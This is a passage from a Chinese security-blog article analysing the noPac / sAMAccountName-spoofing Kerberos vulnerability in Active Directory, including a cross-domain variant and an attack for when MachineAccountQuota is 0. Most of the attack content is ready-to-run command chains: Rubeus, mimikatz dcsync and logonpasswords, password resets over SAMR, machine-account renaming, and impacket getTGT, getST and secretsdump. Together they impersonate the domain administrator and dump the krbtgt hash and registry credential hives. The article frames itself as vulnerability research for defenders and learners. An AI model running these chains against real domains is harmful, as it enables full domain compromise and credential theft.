altSecurityIdentities```正常情况下,在子域shanghai.xie.com内是无法导出根域xie.com域内哈希的,如下:```pythonmimikatz.exe "lsadump::dcsync /domain:xie.com /user:xie\krbtgt /csv" "exit"```如下,在子域shanghai.xie.com上请求一个不要PAC的TGT认购权证。```pythonRubeus.exe asktgt /user:sh_hack /password:P@ss1234 /domain:shanghai.xie.com /dc:SH-AD.shanghai.xie.com /nowrap /ptt /nopac```然后利用这个TGT认购权证向根域控ad.xie.com请求根域控的ldap/ad.xie.com服务。此时,由于在根域内并没有sh_hack用户,因此根域域控会查找sh_hack$用户,还未找到。根域域控会查找altSecurityIdentities属性带有sh_hack的用户,此时找到了根域administrator用户。此时根域域控会会生成一张根域administrator用户权限的PAC放到ST服务票据中返回。```pythonRubeus.exe asktgs /service:ldap/ad.xie.com /dc:ad.xie.com /nowrap /ptt /ticket:上一步请求的无PAC的TGT认购权证```因此,在子域shagnhai.xie.com内可以利用根域administrator用户的ST服务票据导出根域内任意用户的哈希了。12:针对MAQ为0时的攻击如果目标域针对ms-DS-MachineAccountQuota属性进行了设置,将其修改为0。此时,普通域用户将无法新建机器用户。如下图所示,直接报错!那么,针对MAQ为0这种场景,我们需要怎么利用呢?我们这里的想法是针对域内已经存在的机器帐户加以利用。如下,我们以已经加入域的Win10机器为例。通过查询Win10机器的ACL发现,除了默认的域管理员等高权限用户外,只有hack用户对其具有修改saMAccountName属性的权限,就连win10$机器账号自身都无权限修改saMAccountName属性。如下,使用win10$机器账号修改自身的mS-DS-CreatorSID属性,提示无有效访问权限。```pythonpython3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com "xie.com/win10$" -hashes 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe```但是使用hack用户修改Win10$机器帐号的mS-DS-CreatorSID属性,提示修改成功。如下图:```pythonpython3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com "xie.com/hack:P@ss1234"```那么,为什么普通域用户hack对其具有修改saMAccountName属性的权限呢?我们第一猜想是hack用户将win10机器加入域的。于是通过如下命令查询win10机器的mS-DS-CreatorSID属性,并查询SID对应的用户,果然证实了我们的猜想。hack用户是将win10机器加入域的账号。```python#查询所有机器账号的mS-DS-CreatorSID属性AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID#查询SID对应的用户AdFind.exe -sc adsid:S-1-5-21-1313979556-3624129433-4055459191-1154 -dn```于是乎,我们可以针对域内已经存在的机器进行利用了。针对这种利用方式,有两种可能性:1. 获取到域内已经存在的机器权限2. 获取到将机器加入域的用户权限获取到域内已经存在的机器权限如下,获得域内普通机器win10的最高权限,通过执行如下命令dump哈希。```pythonmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pass.txt```如下NTLM字段是机器账号win10$的密码哈希,因此我们可以利用这个密码哈希进行后续认证操作。```python3db5e5e43b3b260de0b058d9b82523fe```通过如下命令查询win10机器的mS-DS-CreatorSID属性,并查询SID对应的用户,发现是hack用户将win10机器加入域的。```python#查询所有机器账号的mS-DS-CreatorSID属性AdFind.exe -f "&(objectcategory=computer)(name=win10)" mS-DS-CreatorSID#查询SID对应的用户AdFind.exe -sc adsid:S-1-5-21-1313979556-3624129433-4055459191-1154 -dn```此时,要想进行后续利用的话,需要获得hack用户的权限。这里假设我们已经获得hack用户的密码为P@ss1234。通过如下命令查询机器账号win10$的SPN,可以看到有6条SPN```pythonpython3 addspn.py -u 'xie.com\win10$' -p 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe -t 'win10$' -q 10.211.55.4```需要清除机器账号win10$的SPN,可以通过win10$账号自身的权限进行清除,如下命令:```python#清除win10$的SPNpython3 addspn.py -u 'xie.com\win10$' -p 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe -t 'win10$' -c 10.211.55.4```接着,我们利用hack用户来修改win10机器的mS-DS-CreatorSID属性。然后后续步骤和之前一样,如下:```python#将机器用户win10$的saMAccountName属性修改为AD01python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#以win10用户身份请求TGT认购权证,用户名为saMAccountName属性值python3 getTGT.py -dc-ip AD01.xie.com xie/ad01 -hashes 3db5e5e43b3b260de0b058d9b82523fe:3db5e5e43b3b260de0b058d9b82523fe#导入TGT认购权证export KRB5CCNAME=ad01.ccache#将机器用户win10的saMAccountName属性恢复为win10$python3 renameMachine.py -current-name 'AD01' -new-name 'win10$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#用上一步的TGT认购权证,以administrator的身份请求访问ad01.xie.com的cifs服务python3 getST.py -spn cifs/ad01.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self#导入ST服务票据export KRB5CCNAME=administrator.ccache#导出域内krbtgt用户哈希python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt```获取到将机器加入域的用户权限如下,获得域内普通用户hack的权限,得到其密码为:P@ss1234。执行如下命令,先查询hack用户对应的SID,再查询mS-DS-CreatorSID属性为该SID的机器。该机器就是hack用户加入域的机器。如下图执行结果可以看到,Win10机器是hack用户加入域的。```python#查询hack用户对应的sidAdFind.exe -sc u:hack objectSid#查询mS-DS-CreatorSID属性为指定SID的机器AdFind.exe -f "&(objectcategory=computer)(mS-DS-CreatorSID=S-1-5-21-1313979556-3624129433-4055459191-1154)" -dn```但是此时我们并没有获取到win10机器的权限,那么该如何操作呢?我们关注到后期并不需要win10机器的机器权限,只需要win10$这个机器的账号密码即可。因此,我们可以通过hack用户利用SAMR协议远程修改Win10$机器账号的密码,这样我们后续就能控制win10$这个机器账号了。**修改机器账号哈希**如下,我们通过mimikaktz利用SAMR协议调用SamrSetInformationUser接口来重置机器账号win10$的密码为123456。```pythonmimikatz.exe#重置机器账号win10$的密码为123456lsadump::SETNTLM /server:10.211.55.4 /user:win10$ /password:123456```**攻击利用**然后就可以后续利用了!通过如下命令查询机器账号win10$的SPN,可以看到有6条SPN。```pythonpython3 addspn.py -u 'xie.com\win10$' -p 123456 -t 'win10$' -s aa/aa -q 10.211.55.4```然后需要清除机器账号win10$的SPN,可以通过win10$账号自身的权限进行清除。此时win10$机器账号密码为123456,可以使用如下命令进行清除:```python#清除win10$的SPNpython3 addspn.py -u 'xie.com\win10$' -p 123456 -t 'win10$' -c 10.211.55.4```接着,我们利用hack用户来修改win10机器的mS-DS-CreatorSID属性。然后后续步骤和之前一样,如下,可以看到攻击成功!```python#将机器用户win10$的saMAccountName属性修改为AD01python3 renameMachine.py -current-name 'win10$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#以win10用户身份请求TGT认购权证,用户名为saMAccountName属性值python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:123456#导入TGT认购权证export KRB5CCNAME=ad01.ccache#将机器用户win10的saMAccountName属性恢复为win10$python3 renameMachine.py -current-name 'AD01' -new-name 'win10$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#用上一步的TGT认购权证,以administrator的身份请求访问ad01.xie.com的cifs服务python3 getST.py -spn cifs/ad01.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self#导入ST服务票据export KRB5CCNAME=administrator.ccache#导出域内krbtgt用户哈希python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt```但是现在并没有结束,由于我们修改了Win10$机器账号的哈希,这将导致Win10机器账号在活动目录中的密码和在本地注册表以及lsass进程中的密码不一致,这将导致win10机器重启后无法开机、脱域等情况!如下图,分别是Win10$机器账号在活动目录中的哈希和lsass进程中的哈希,可以看到不一致!**获得机器账号原始哈希**首先我们需要获得win10$机器账号的原始哈希,这里有两种方法:**方式一**在目标win10机器上执行这三个命令,将注册表中的信息导出这三个文件。```pythonreg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save```将刚刚保存的三个文件放到impacket的examples目录下,执行如下命令,使用secretsdump.py提取出文件里面的hash。如下,$MACHINE.ACC后面的3db5e5e43b3b260de0b058d9b82523fe就是原来的机器哈希。```pythonpython3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL```**方式二**在目标win10机器上使用mimikatz的sekurlsa::logonpassword模块从lsass.exe进程里面抓取win10$机器账号的原始哈希。```pythonmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"```**恢复机器账号原始哈希**然后再次使用mimikaktz利用SAMR协议调用SamrSetInformationUser接口来重置机器账号win10$的密码哈希为原值,如下图:```pythonmimikatz.exe#重置win10$机器账号的哈希为原值lsadump::SETNTLM /server:10.211.55.4 /user:win10$ /ntlm:3db5e5e43b3b260de0b058d9b82523fe```再次查询活动目录中win10$机器账号的哈希,可以看到还原了!原理总结首先,这个洞最深层次的原因是KDC在处理UserName字段时的问题,而后结合两种攻击链针对域内和跨域进行攻击。- 当针对域内攻击时,结合了CVE-2021-42278漏洞来修改机器用户的saMAccountName属性,让KDC找不到用户,走进处理UserName的逻辑。 然后再利用KDC在处理S4U2Self时的逻辑问题(不校验发起S4U2Self请求的用户是否具有权限发起S4U2Self请求)以及重新生成PAC的这一特性来进行攻击。- 当针对跨域攻击时,其实意义不大。因为需要修改其他域内高权限用户的altSecurityIdentities属性,而默认是没有权限修改的,只有根域管理员或者其他域的域管理员才有权限修改。当跨域TGS请求时,目标域控在活动目录数据库内是找不到其他域的用户的,因此走进处理UserName的逻辑。然后再利用跨域TGS-REQ请求时的处理逻辑(如果TGT票据中没有PAC,则重新生成)这一特性来进行攻击的。综上所述,这个洞刚开始叫nopac其实就是针对跨域时的攻击,实战意义不大。针对域内攻击更有效,下图是域内攻击链的逻辑处理图:注:本文只做漏洞原理分析,只做技术交流,切勿用于非法用途。作者:谢公子@深信服深蓝攻防实验室本文作者:谢公子, 转载请注明来自FreeBuf.COM
创建帐户或登录后发表意见